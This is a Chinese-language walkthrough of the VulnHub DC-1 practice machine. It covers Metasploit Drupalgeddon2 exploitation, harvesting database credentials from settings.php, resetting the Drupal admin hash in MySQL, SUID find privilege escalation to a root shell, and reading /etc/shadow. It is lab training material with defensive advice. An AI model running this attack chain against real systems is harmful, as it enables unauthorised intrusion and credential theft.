本文记录了一次针对 VulnHub 上 DC-1 靶机的完整渗透过程,从信息收集、Drupal 漏洞利用、数据库操作到利用 SUID 提权拿到 root 权限,适合作为渗透实战练习的入门案例。

为了便于复现,文中给出了关键命令、截图与思路说明,你可以对照自己的环境一步步操作。

  • 适用人群:刚开始接触渗透测试、想要完整走一遍靶机流程的同学
  • 你将学到:如何进行信息收集、利用 CMS 历史漏洞、通过数据库篡改密码、利用 SUID 进行提权
  • 合规提醒:请仅在合法授权的靶机或实验环境中练习,勿将文中技巧用于任何未授权系统。

靶机信息

  • 靶机名称:DC-1
  • 难度等级:初级 / 中级
  • 技术栈:Drupal CMS、MySQL、Linux
  • 攻击机:Kali Linux
  • 目标:获取全部 Flag 并提权至 root

渗透实战全流程

步骤1:战场侦察 · 发现目标 🎯

任何一次渗透都始于“知道目标在哪”。我们的攻击机在 192.168.47.0/24 网段中,首先使用 arp-scan 进行快速主机发现。

生动比喻:就像在玩“谁是卧底”,得先把所有玩家找出来。

1
arp-scan -l

Bingo!🎯 我们发现了一台可疑主机:192.168.47.129,它就是我们的目标靶机!

步骤2:绘制地图 · 端口扫描与服务发现 🗺️

知道目标在哪后,就要摸清它的“门窗”(开放端口)和“房间功能”(运行服务)。使用 Nmap 进行全面扫描。

1
nmap -A -p- -v 192.168.47.129

太好了!目标开放了:

80端口:Web服务(Drupal CMS)

22端口:SSH服务(但暂时用不上)

其他端口:MySQL等

访问一下Web界面看看:

一个Drupal站点!这类CMS往往漏洞百出,我们的突破口很可能就在这里。😉

步骤3:寻找隐藏入口 · 目录与文件扫描 🔍

网站表面往往只是冰山一角,真正的“宝藏”藏在深处。使用 DIRB 进行目录爆破。

1
dirb http://192.168.47.129

扫出了不少目录,但最吸引人的还是Drupal本身——这可是个”漏洞宝库”啊!

步骤4:撬开大门 · Drupal 漏洞利用 🗝️

既然目标是 Drupal,那就直接上 Metasploit 找找有没有现成的漏洞利用模块。

1
2
msfconsole
search drupal

哇!这么多 Drupal 漏洞模块,这辈子没打过这么富裕的仗!💰

我们选择第一个(2018 年的那个)试试看:

1
2
3
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.47.129
exploit

show options 来看看这个漏洞需要利用哪些参数:

失败了 qwq……没关系,换一个再试!

尝试第二个漏洞模块(2018 年的另一个):

1
2
3
use exploit/multi/http/drupal_drupaledgeddon2
set RHOSTS 192.168.47.129
exploit

成功了! 🎉 我们拿到了一个 www-data 权限的 Shell!

步骤5:内网侦查 · 寻找第一个 Flag 🚩

拿到 Shell 后,第一件事就是看看当前目录有什么。

1
ls

发现 flag1.txt!赶紧看看:

1
cat flag1.txt

提示:Every good CMS needs a config file - and so do you.
(每个好的CMS都需要配置文件,你也是。)

这提示很明显了:找Drupal的配置文件!

步骤6:顺藤摸瓜 · 定位配置文件与数据库密码 🕵️

Drupal 的配置文件一般是 sites/default/settings.php。我们直接找:

1
find / -name "settings.php" 2>/dev/null

不知道是哪里出了问题,看不到路径,那我们换另一种方式:

1
2
3
cd sites
ls default
cat `find / -name settings.php`

Bingo! 找到了数据库连接信息:

用户名:dbuser

密码:R0ck3t

数据库:drupaldb

还发现了flag2:

Brute force and dictionary attacks aren’t the only ways to gain access (and you WILL need access). What can you do with these credentials?

提示我们要用这些凭证做点什么……

步骤7:数据库攻击 · 篡改用户密码 🗃️

有了数据库密码,我们直接登录 MySQL 看看:

1
2
mysql -u dbuser -p
# 输入密码:R0ck3t

登录成功!查看数据库:

1
show databases;

发现 drupaldb 库,进入看看:

1
2
use drupaldb;
show tables;

发现 users 表,查看一下:

1
select * from users;

看到了 admin 用户和另一个用户 Fred,但密码都是哈希值,无法直接使用。卧槽里的,真难看啊。

我们退出数据库尝试从别的地方进行下手:

步骤8:密码哈希生成 · 利用 Drupal 工具 🛠️

果然发现了脚本文件 scripts,进入目录发现了 password-hash.sh:

进入此脚本文件发现是用 PHP 来写的而且还能用 PHP 加参数运行,直接得到加密后的密码,这里我们设置一个密码 123456:

1
php /var/www/scripts/password-hash.sh 123456

拿到哈希值后,回到 MySQL 更新 admin 密码:

1
update users set pass='[生成的哈希值]' where name='admin';

步骤9:登录后台 · 寻找第三个 Flag 🔑

用新密码 123456 登录 Drupal 后台:

登录成功!在后台的 Content 里找到了 flag3:

Special PERMS will help FlND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

提示我们需要提权,并且提到了-exec命令和shadow文件。

那接下来就是提权咯。

步骤10:权限提升 · 利用 SUID 与 find 命令 👑

尝试使用 tac 命令查看 passwd 文件:

1
tac /etc/passwd

我这里的方法是提权打开 shadow 文件,如果有别的方法欢迎讨论。

先查看一下具有 SUID 权限的可执行文件:

1
find / -perm -u=s -type f 2>/dev/null

发现 find 命令具有 SUID 权限,而且我们可以用 -exec 参数执行命令!

生动比喻:就像你拿到了一把万能钥匙,可以打开所有门,甚至包括管理员房间。

利用 find 命令提权:

1
find / -name index.php -exec "/bin/sh" \;

提权成功! 🎉 我们现在是 root 了!

步骤11:最终之战 · 获取 root flag 与 shadow 文件 🏁

现在是 root 权限,可以随便看了:

1
ls

最终 Flag 到手! 🏆

顺便看一下 /etc/shadow 文件(之前 flag3 提示的):

1
cat /etc/shadow

所有秘密尽在掌握!

总结与思考 💡

这次 DC-1 靶机渗透之旅,我们完整经历了:

  • 信息收集(arp-scan + nmap + dirb)
  • 漏洞利用(Drupal 漏洞 + Metasploit)
  • 数据库攻击(密码哈希替换)
  • 权限提升(SUID + find 命令)
  • 最终取证(获取 flag 与 shadow 文件)

关键点回顾:

  • Drupal 历史漏洞多,CMS 是常见突破口
  • 配置文件泄露数据库密码是典型漏洞
  • SUID 权限滥用是 Linux 提权常用手法
  • 每个 flag 都提示下一步方向,形成完整攻击链

防御建议:

  • 及时更新 CMS 与插件
  • 配置文件不应放在 Web 目录
  • 限制数据库用户权限
  • 定期检查 SUID 权限文件

渗透测试是一门艺术,更是一种责任。
愿我们都能成为守护网络的“白帽子”,而非破坏者。
Happy Hacking! (Legally, of course!) 😊

下一篇预告:《VulnHub 靶机系列:DC-2 渗透实录——多站点与 WordPress 攻击》